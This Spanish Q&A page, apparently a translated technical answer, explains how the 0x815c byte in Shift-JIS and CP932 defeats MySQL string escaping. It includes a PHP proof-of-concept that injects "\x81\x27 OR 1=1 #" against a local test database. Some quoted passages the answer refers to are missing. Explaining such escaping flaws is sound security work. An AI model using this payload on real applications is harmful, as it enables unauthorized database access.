sql >> Base de Datos >  >> RDS >> Mysql

¿Cómo crear un ataque de inyección SQL con Shift-JIS y CP932?

El diablo está en los detalles... comencemos con cómo respuesta en cuestión describe la lista de conjuntos de caracteres vulnerables:

Esto nos da algo de contexto - 0xbf5c se usa como ejemplo para gbk , no como el carácter universal que se usará para los 5 conjuntos de caracteres.
Sucede que la misma secuencia de bytes también es un carácter válido en big5 y gb2312 .

En este punto, su pregunta se vuelve tan fácil como esto:

Para ser justos, la mayoría de las búsquedas en Google que probé para estos conjuntos de caracteres no dan ningún resultado útil. Pero encontré este archivo CP932.TXT , en el que si busca '5c ' (con el espacio allí), saltará a esta línea:

Y tenemos un ganador! :)

Algunos documentos de Oracle confirma que 0x815c es el mismo carácter para ambos cp932 y sjis y PHP también lo reconoce:

php > var_dump(mb_strlen("\x81\x5c", "cp932"), mb_strlen("\x81\x5c", "sjis"));
int(1)
int(1)

Aquí hay un script PoC para el ataque:

<?php
$username = 'username';
$password = 'password';

$mysqli = new mysqli('localhost', $username, $password);
foreach (array('cp932', 'sjis') as $charset)
{
        $mysqli->query("SET NAMES {$charset}");
        $mysqli->query("CREATE DATABASE {$charset}_db CHARACTER SET {$charset}");
        $mysqli->query("USE {$charset}_db");
        $mysqli->query("CREATE TABLE foo (bar VARCHAR(16) NOT NULL)");
        $mysqli->query("INSERT INTO foo (bar) VALUES ('baz'), ('qux')");

        $input = "\x81\x27 OR 1=1 #";
        $input = $mysqli->real_escape_string($input);
        $query = "SELECT * FROM foo WHERE bar = '{$input}' LIMIT 1";
        $result = $mysqli->query($query);
        if ($result->num_rows > 1)
        {
                echo "{$charset} exploit successful!\n";
        }

        $mysqli->query("DROP DATABASE {$charset}_db");
}